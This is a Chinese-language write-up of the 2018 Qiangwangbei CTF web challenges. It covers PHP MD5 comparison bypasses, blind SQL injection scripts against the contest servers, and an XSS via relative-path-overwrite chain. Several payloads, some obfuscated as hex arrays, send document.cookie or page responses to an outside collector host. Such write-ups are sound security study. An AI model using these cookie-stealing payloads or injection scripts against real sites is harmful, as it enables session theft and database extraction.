2018强网杯-Web

Web Check-in

level 1

<?php
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2']))
{
	die("success!");}
?>

php弱类型相等,找到两个字符串的前两位均为0e,后30位均为[0-9a-f]即可

param1=240610708&param2=QNKCDZO

level 2

<?php
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
	die("success!");
}
?>

数组绕过即可,md5()以及sha1()对数组均返回为NULL

param1[]=1&param2[]=2

level 3

<?php
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
	die("success!);
}
?>

如果参数为数组的话,经过string的强制类型转换后,均为字符串”Array”。另外md5与sha1函数对php对象返回也为空,但这里也无法传递对象,所以此法无效。所以真的要找一对MD5相同的二进制数据,url编码post提交即可(1,2,3均可过),MD5碰撞的一些例子

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

flag:QWB{s1gns1gns1gnaftermd5}

Three hit

  • 注册点发现需要填年龄,检查了是不是数值,正常登录发现会有谁谁谁和你的年龄一样的信息,典型二次注入
  • 注册年龄处为注入点,虽然由php做是否为数字的检查,可用十六进制绕过,存到mysql数据库中已经是十六进制转换完的字符串了
  • 此题的最后选出和你年龄一样的结果是最近的一条数据,总在变化
  • 没有报错信息,也无法联合查询,所以采取盲注
  • 猜出了select flag from flag

编写脚本登录加注册如下,每次更换payload要更改用户名

# -*-coding:utf-8-*-  

import requests
import time
import binascii

flag = ""
register= "http://39.107.32.29:10000/index.php?func=register"
login ="http://39.107.32.29:10000/index.php?func=login"
profile="http://39.107.32.29:10000/profile.php"


for i in range(1,32):
    for j in range(33,127):

        #payload=b"1 and ascii(substr((user()),%s,1)) > %s"%(i,j)
        payload=b"1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)) > %s"%(i,j)
       
        p1 = binascii.b2a_hex(payload)
        p2 = "0x"+p1

        rdata = {
            "username":"gogodena%s%s"%(i,j),
            "password":"gogodena%s%s"%(i,j),
            "age":p2

        }

        ldata={
            "username":"gogodena%s%s"%(i,j),
            "password":"gogodena%s%s"%(i,j)
        }

        r1 = requests.post(url=register,data=rdata)
        time.sleep(0.5)
        r2 = requests.session()
        r2.post(url=login,data=ldata)
        time.sleep(0.5)
        f = r2.get(url=profile) 

        if "no one in our database" in f.text:
            flag += chr(j)
            print flag
            break


flag:QWB{M0b4iDalao0rz0rz}

Python is the best language 1

  • 本以为要看flask的源码,后来随便又试出了盲注,在登陆点的用户名处
  • 先注册一个用户,然后在登陆点拼接盲注的payload即可
  • 但要注意这题会有一个csrf-token的验证,而且返回经常超时
  • 所以直接用selenium模拟登陆更能看清楚出错状况
  • 数据库经常出错,迫使递增改成了二分,脚本如下
  • 爆出表名flaaaaag,猜出字段名flllllag

from selenium import webdriver
from time import sleep

chromedriver = "/Applications/Google Chrome.app/Contents/MacOS/chromedriver" 
browser = webdriver.Chrome(chromedriver)
flag = ""
login ="http://117.50.16.51:20000/login?next=%2Findex"
password="gogodena"

def judge(num,mid):
	try:
		payload ="gogodena' and ascii(substr((select flllllag from flaaaaag),%s,1)) > %s and '1'='1"%(num,mid)
		browser.get(login) # Load page
		sleep(3)
		#loginwindow = browser.current_window_handle
		browser.find_element_by_id('username').send_keys(payload)
		print payload
		browser.find_element_by_id('password').send_keys(password)
		browser.find_element_by_id('submit').click()
		sleep(3)
		try:
			if(browser.find_element_by_id('post')):
				browser.get("http://117.50.16.51:20000/logout")
				return 1
		except:
			return 0
	except:
		print 'error'


for i in range(1,30):
	low =33
	high=127
	while low < high:
		mid=int((low+high)/2) 
		if judge(i,mid): 
			low=mid+1 
		else:  
			high = mid
		if (low==high):
			flag+=chr(low)
			print flag
			break   

flag:QWB{us1ng_val1dator_caut1ous}

Share your mind

html实体编码

一开始以为是在发文章那里有问题,检查到模板源码:

<?php echo htmlspecialchars($this->view[$i]->title, ENT_QUOTES);?>
<?php echo htmlspecialchars($this->view[$i]->content, ENT_QUOTES);?>

这种再怎么也绕过不去,尖括号和引号怎么也折腾不出来。

奇怪的xss点

后来在报告url那里直接填<script>

http://39.107.33.96:20000/index.php/report  <script src='http://39.107.33.96:20000/QWB_fl4g/QWB/index.php' >window.open('http://103.42.28.252/b/?msg='+document.cookie)</script>

打到了如下地址:

http://39.107.33.96:20000/v1ewth3report.php

居然能执行,开始能打到cookie里的hint,后来也打不到了,估计是非预期吧,但是这的js为啥被执行呢?猜测原因:

  • index.php/report将提交的整个字符串存好
  • 当Bot去访问v1ewth3report.php时,把选手提交的url显示出来
  • Bot按照一定的规则去访问页面中的链接

显然这里并没有好好地匹配url地址,导致bot在访问v1ewth3report.php时,js代码一样被显示并且运行。就是我们提交的url经过了一个php页面才给bot,没有直接通过参数的方式交给bot,这才导致我们提交的js被执行。

参考:XSS Bot从入门到完成

RPO攻击

相对路径与截断

发现view页面底部的的js链接使用了相对路径

 <script src="../static/js/jquery.min.js"></script>
 <script src="../static/js/bootstrap.min.js"></script>

而且发现,当我们发一篇文章然后访问

http://39.107.33.96:20000/index.php/view/article/705/aadaasdasdas

文章id号后面的部分会被截断,所以当构造:

http://39.107.33.96:20000/index.php/view/article/705/a/..%2F..%2F..%2F

服务端解析正确,实际上返回的是view页面,而view页面中的../static/js/jquery.min.js把这个链接拼到url后:

http://39.107.33.96:20000/index.php/view/article/705/a/..%2F..%2F..%2F/../static/js/jquery.min.js

就是:

http://39.107.33.96:20000/index.php/view/article/705/a/static/js/jquery.min.js

705后面的内容被截断,于是你发的文章的内容直接就被当成js解析,不用尖括号呦!!!

漏洞利用

  • 这里html实体编码影响到了引号,本来想用jsfuck的,但是发现太长被截断了,所以改用数字拼
  • 另外标题不填可以不产生<h>标签,js才不会报错

发文章,不写标题,文章内容如下:


var shttp=[0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x31,0x30,0x33,0x2E,0x34,0x32,0x2E,0x32,0x38,0x2E,0x32,0x35,0x32,0x2F,0x62,0x2F,0x3F,0x63,0x6F,0x6F,0x6B,0x69,0x65,0x3D];

function decode(a){
var b=[];
for (i in a){
	b=b+String.fromCharCode(a[i]);
}
	return b;
}

window.open(decode(shttp)+document.cookie);

爆破验证码:

import hashlib
for i in range(1000000):
 	fd = hashlib.md5()
 	fd.update(str(i))
 	x = fd.hexdigest()
 	if(x[0:6] == 'a24bec'):
  		print i
  		break

提交url:

http://39.107.33.96:20000/index.php/view/article/705/a/..%2F..%2F..%2F

得到hint:

HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

获取不同路径cookie

当前路径是/index.php/view/article/705/a/,而要获取/QWB_fl4g/QWB/这个路径下的cookie,所以应该是设置了cookie的path属性,这两路径虽然不同,但是仍然属于同源,所以可以用iframe获取子页面document以及cookie:

var shttp=[0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x31,0x30,0x33,0x2E,0x34,0x32,0x2E,0x32,0x38,0x2E,0x32,0x35,0x32,0x2F,0x62,0x2F,0x3F,0x63,0x6F,0x6F,0x6B,0x69,0x65,0x3D];

var sif=[0x69,0x66,0x72,0x61,0x6D,0x65];

var sindex=[0x2F,0x51,0x57,0x42,0x5F,0x66,0x6C,0x34,0x67,0x2F,0x51,0x57,0x42,0x2F];

var sid=[0x67,0x67];

function decode(a){
var b=[];
for (i in a){
	b=b+String.fromCharCode(a[i]);
}
	return b;
}

var iframe = document.createElement(decode(sif)); 
iframe.src=decode(sindex);
document.body.appendChild(iframe);
iframe.id=decode(sid);
iframe.onload=function(){
window.open(decode(shttp)+document.getElementById(decode(sid)).contentWindow.document.cookie);
}

flag:QWB{flag_is_f43kth4rpo}

失败思路

除了用iframe读取到子页面的cookie以外,还尝试了很多办法都没成功,如下:

xhr

希望通过在当前路径下的页面去请求/QWB_fl4g/QWB/页面,但是实际上我们仍然无法再头部信息或者相应中找到cookie信息,如果这个页面设置的是管理员查看可以显示flag,此法就行得通了。

var shttp=[0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x31,0x30,0x33,0x2E,0x34,0x32,0x2E,0x32,0x38,0x2E,0x32,0x35,0x32,0x2F,0x62,0x2F,0x3F,0x63,0x6F,0x6F,0x6B,0x69,0x65,0x3D];
var sget=[0x47,0x45,0x54];
var sindex=[0x2F,0x51,0x57,0x42,0x5F,0x66,0x6C,0x34,0x67,0x2F,0x51,0x57,0x42,0x2F,0x69,0x6E,0x64,0x65,0x78,0x2E,0x70,0x68,0x70];

function decode(a){
var b=[];
for (i in a){
	b=b+String.fromCharCode(a[i]);
}
	return b;
}

var a = new XMLHttpRequest();
a.open(decode(sget), decode(sindex),false);
a.send(null);
if(a.status == 200){
    window.open(decode(shttp)+escape(a.getAllResponseHeaders())+a.responseText+escape(document.URL)+document.cookie);
}

通过RPO构造路径

希望构造一个/QWB_fl4g/QWB/路径下的RPO,但只构造出如下:

http://39.107.33.96:20000/QWB_fl4g/QWB/..%2f..%2findex.php%2fview%2farticle%2f705/a/..%2f..%2f..%2f

服务端正确解释%2f,仍为加载攻击载荷的view页面

http://39.107.33.96:20000/QWB_fl4g/QWB/../../index.php/view/article/705/a/../../../

浏览器认为的路径是:

QWB_fl4g/
QWB/
..%2f..%2findex.php%2fview%2farticle%2f705/
a/
..%2f..%2f..%2f

虽然是QWB_fl4g/QWB/的子目录,但也无法得到父目录的cookie。不成功的原因是因为/a/这两个斜杠必须存在,如果改成如下:

http://39.107.33.96:20000/QWB_fl4g/QWB/..%2f..%2findex.php%2fview%2farticle%2f705%2fa%2f..%2f..%2f..%2f

虽然路径正确了,但加载js的路径就变为:

http://39.107.33.96:20000/QWB_fl4g/static/js/jquery.min.js

无法触发攻击载荷,此路不通!

phpinfo

本题里没有找到phpinfo,但就算找到也需要是在/QWB_fl4g/QWB/路径下的phpinfo。但对于设置了http-only的cookie,无法用js通过document读取的,所以要想办法获取到http的头,如果当前网站存在phpinfo,可以用xss去打xss然后返回结果就好了!

参考:【碎雪】day-05 浅入深出的xss

PhantomJs的黑魔法?

并没有!

尝试在各处使用PhantomJs的api获得cookie,但实际上是可笑的。PhantomJs可以看做一个浏览器,而页面中的js与浏览器交互是通过windows对象,我们是无法从PhantomJs中webpage的open方法中跳出来的。另外也不存在java的反射机制,无法去用在网页也面的js里使用PhantomJs的api的。现在也并不知道提示bot为PhantomJs为何意。

参考: PhantomJS参考教程

iframe用错了!

一开始写了如下的代码:

var iframe = document.createElement(decode(sif)); 
iframe.src=decode(sindex);
document.body.appendChild(iframe);
iframe.id=decode(sid);
window.open(decode(shttp)+document.getElementById(decode(sid)).contentWindow.document.cookie);

死活就是打不到flag,一度认为此法也不同,后来是发现没有使用iframe.onload函数,没等到iframe加载就返回了cookie,所以失败